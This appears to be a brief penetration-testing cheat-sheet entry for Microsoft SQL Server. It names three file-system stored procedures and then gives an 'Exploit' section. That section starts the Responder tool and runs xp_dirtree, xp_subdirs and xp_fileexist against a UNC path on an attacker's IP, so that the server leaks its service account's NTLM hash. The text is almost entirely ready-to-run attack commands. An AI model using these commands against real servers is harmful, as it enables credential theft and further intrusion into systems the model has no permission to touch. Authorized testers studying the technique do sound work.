xp_fileexist: Checks whether a certain file existsxp_dirtree: Returns a directory tree based on a provided directoryxp_subdirs: Returns a list of sub-directories of a provided directory
Exploit
- Start Responder (any SMB server/handler works too)
sudo responder -I tun0 -v
- Coerce
EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';